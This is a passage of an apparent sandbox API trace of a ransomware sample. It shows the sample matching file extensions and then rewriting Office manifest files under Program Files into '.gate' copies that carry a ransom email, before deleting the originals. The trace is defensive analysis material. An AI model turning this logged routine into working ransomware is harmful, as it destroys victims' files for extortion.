(lpString1=".pdf", lpString2=".xml") returned -1 [0125.678] lstrlenW (lpString=".xls") returned 4 [0125.678] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0125.678] lstrlenW (lpString=".xlsx") returned 5 [0125.678] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0125.678] lstrlenW (lpString=".ppt") returned 4 [0125.678] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0125.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0125.678] lstrlenW (lpString=".zip") returned 4 [0125.678] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0125.678] lstrlenW (lpString=".rar") returned 4 [0125.678] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0125.678] lstrlenW (lpString=".bz2") returned 4 [0125.678] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0125.678] lstrlenW (lpString=".7z") returned 3 [0125.678] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0125.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0125.678] lstrlenW (lpString=".dbf") returned 4 [0125.678] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0125.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0125.678] lstrlenW (lpString=".1cd") returned 4 [0125.678] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0125.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0125.678] lstrlenW (lpString=".jpg") returned 4 [0125.678] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0125.679] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0125.679] lstrlenW (lpString="AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 53 [0125.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0125.679] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=357349) returned 1 [0125.679] CloseHandle (hObject=0x318) returned 1 [0125.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml")) returned 0x220 [0125.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0125.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0125.680] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0125.681] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0125.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0125.681] GetLastError () returned 0x0 [0125.681] ReadFile (in: hFile=0x318, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x573e5, lpOverlapped=0x0) returned 1 [0125.834] WriteFile (in: hFile=0x364, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0x573f0, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0x573f0, lpOverlapped=0x0) returned 1 [0125.842] ReadFile (in: hFile=0x318, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0125.842] WriteFile (in: hFile=0x364, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0x13e, lpOverlapped=0x0) returned 1 [0125.842] SetEndOfFile (hFile=0x364) returned 1 [0125.842] CloseHandle (hObject=0x364) returned 1 [0125.850] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0125.850] SetEndOfFile (hFile=0x318) returned 1 [0125.854] CloseHandle (hObject=0x318) returned 1 [0125.854] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0125.854] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml")) returned 1 [0125.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0125.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0125.855] lstrlenW (lpString=".doc") returned 4 [0125.855] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0125.855] lstrlenW (lpString=".docx") returned 5 [0125.855] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0125.855] lstrlenW (lpString=".pdf") returned 4 [0125.855] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0125.855] lstrlenW (lpString=".xls") returned 4 [0125.855] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0125.855] lstrlenW (lpString=".xlsx") returned 5 [0125.855] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0125.855] lstrlenW (lpString=".ppt") returned 4 [0125.855] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0125.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0125.855] lstrlenW (lpString=".zip") returned 4 [0125.855] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0125.855] lstrlenW (lpString=".rar") returned 4 [0125.855] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0125.855] lstrlenW (lpString=".bz2") returned 4 [0125.856] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0125.856] lstrlenW (lpString=".7z") returned 3 [0125.856] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0125.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0125.856] lstrlenW (lpString=".dbf") returned 4 [0125.856] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0125.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0125.856] lstrlenW (lpString=".1cd") returned 4 [0125.856] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0125.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0125.856] lstrlenW (lpString=".jpg") returned 4 [0125.856] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0125.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0125.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0125.856] lstrlenW (lpString=".doc") returned 4 [0125.856] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0125.856] lstrlenW (lpString=".docx") returned 5 [0125.856] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0125.856] lstrlenW (lpString=".pdf") returned 4 [0125.856] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0125.856] lstrlenW (lpString=".xls") returned 4 [0125.856] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0125.856] lstrlenW (lpString=".xlsx") returned 5 [0125.856] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0125.856] lstrlenW (lpString=".ppt") returned 4 [0125.856] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0125.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0125.857] lstrlenW (lpString=".zip") returned 4 [0125.857] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0125.857] lstrlenW (lpString=".rar") returned 4 [0125.857] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0125.857] lstrlenW (lpString=".bz2") returned 4 [0125.857] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0125.857] lstrlenW (lpString=".7z") returned 3 [0125.857] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0125.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0125.857] lstrlenW (lpString=".dbf") returned 4 [0125.857] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0125.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0125.857] lstrlenW (lpString=".1cd") returned 4 [0125.857] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0125.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0125.857] lstrlenW (lpString=".jpg") returned 4 [0125.857] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0125.857] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0125.857] lstrlenW (lpString="AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 53 [0125.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0125.858] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=1261) returned 1 [0125.858] CloseHandle (hObject=0x318) returned 1 [0125.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml")) returned 0x220 [0125.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0125.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0125.858] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0125.858] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0125.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0125.859] GetLastError () returned 0x0 [0125.859] ReadFile (in: hFile=0x318, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x4ed, lpOverlapped=0x0) returned 1 [0125.947] WriteFile (in: hFile=0x364, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0x4f0, lpOverlapped=0x0) returned 1 [0125.948] ReadFile (in: hFile=0x318, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0125.948] WriteFile (in: hFile=0x364, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0x13e, lpOverlapped=0x0) returned 1 [0125.948] SetEndOfFile (hFile=0x364) returned 1 [0126.612] CloseHandle (hObject=0x364) returned 1 [0126.614] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0126.614] SetEndOfFile (hFile=0x318) returned 1 [0126.615] CloseHandle (hObject=0x318) returned 1 [0126.616] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0126.616] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml")) returned 1 [0126.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0126.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0126.792] lstrlenW (lpString=".doc") returned 4 [0126.792] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0126.792] lstrlenW (lpString=".docx") returned 5 [0126.792] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0126.792] lstrlenW (lpString=".pdf") returned 4 [0126.792] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0126.792] lstrlenW (lpString=".xls") returned 4 [0126.792] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0126.792] lstrlenW (lpString=".xlsx") returned 5 [0126.792] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0126.792] lstrlenW (lpString=".ppt") returned 4 [0126.792] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0126.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0126.792] lstrlenW (lpString=".zip") returned 4 [0126.792] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0126.792] lstrlenW (lpString=".rar") returned 4 [0126.792] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0126.792] lstrlenW (lpString=".bz2") returned 4 [0126.793] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0126.793] lstrlenW (lpString=".7z") returned 3 [0126.793] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0126.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0126.793] lstrlenW (lpString=".dbf") returned 4 [0126.793] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0126.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0126.793] lstrlenW (lpString=".1cd") returned 4 [0126.793] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0126.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0126.793] lstrlenW (lpString=".jpg") returned 4 [0126.793] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0126.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0126.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0126.793] lstrlenW (lpString=".doc") returned 4 [0126.793] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0126.793] lstrlenW (lpString=".docx") returned 5 [0126.793] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0126.793] lstrlenW (lpString=".pdf") returned 4 [0126.793] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0126.793] lstrlenW (lpString=".xls") returned 4 [0126.793] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0126.793] lstrlenW (lpString=".xlsx") returned 5 [0126.793] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0126.794] lstrlenW (lpString=".ppt") returned 4 [0126.794] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0126.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0126.794] lstrlenW (lpString=".zip") returned 4 [0126.794] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0126.794] lstrlenW (lpString=".rar") returned 4 [0126.794] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0126.794] lstrlenW (lpString=".bz2") returned 4 [0126.794] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0126.794] lstrlenW (lpString=".7z") returned 3 [0126.794] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0126.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0126.794] lstrlenW (lpString=".dbf") returned 4 [0126.794] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0126.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0126.794] lstrlenW (lpString=".1cd") returned 4 [0126.794] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0126.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0126.794] lstrlenW (lpString=".jpg") returned 4 [0126.794] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0126.794] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0126.795] lstrlenW (lpString="AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 53 [0126.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0126.913] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=9216) returned 1 [0126.913] CloseHandle (hObject=0x344) returned 1 [0126.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml")) returned 0x220 [0126.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0126.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0126.915] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0126.915] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0126.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0129.062] GetLastError () returned 0x0 [0129.062] ReadFile (in: hFile=0x344, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x2400, lpOverlapped=0x0) returned 1 [0129.871] WriteFile (in: hFile=0x39c, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0x2410, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0x2410, lpOverlapped=0x0) returned 1 [0129.872] ReadFile (in: hFile=0x344, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0129.872] WriteFile (in: hFile=0x39c, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0x13e, lpOverlapped=0x0) returned 1 [0129.872] SetEndOfFile (hFile=0x39c) returned 1 [0129.872] CloseHandle (hObject=0x39c) returned 1 [0129.873] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0129.873] SetEndOfFile (hFile=0x344) returned 1 [0129.874] CloseHandle (hObject=0x344) returned 1 [0129.874] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0129.875] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml")) returned 1 [0129.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0129.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0129.875] lstrlenW (lpString=".doc") returned 4 [0129.875] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0129.875] lstrlenW (lpString=".docx") returned 5 [0129.875] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0129.875] lstrlenW (lpString=".pdf") returned 4 [0129.875] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0129.875] lstrlenW (lpString=".xls") returned 4 [0129.875] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0129.875] lstrlenW (lpString=".xlsx") returned 5 [0129.875] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0129.875] lstrlenW (lpString=".ppt") returned 4 [0129.875] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0129.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0129.875] lstrlenW (lpString=".zip") returned 4 [0129.875] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0129.876] lstrlenW (lpString=".rar") returned 4 [0129.876] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0129.876] lstrlenW (lpString=".bz2") returned 4 [0129.876] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0129.876] lstrlenW (lpString=".7z") returned 3 [0129.876] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0129.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0129.876] lstrlenW (lpString=".dbf") returned 4 [0129.876] lstrcmpiW 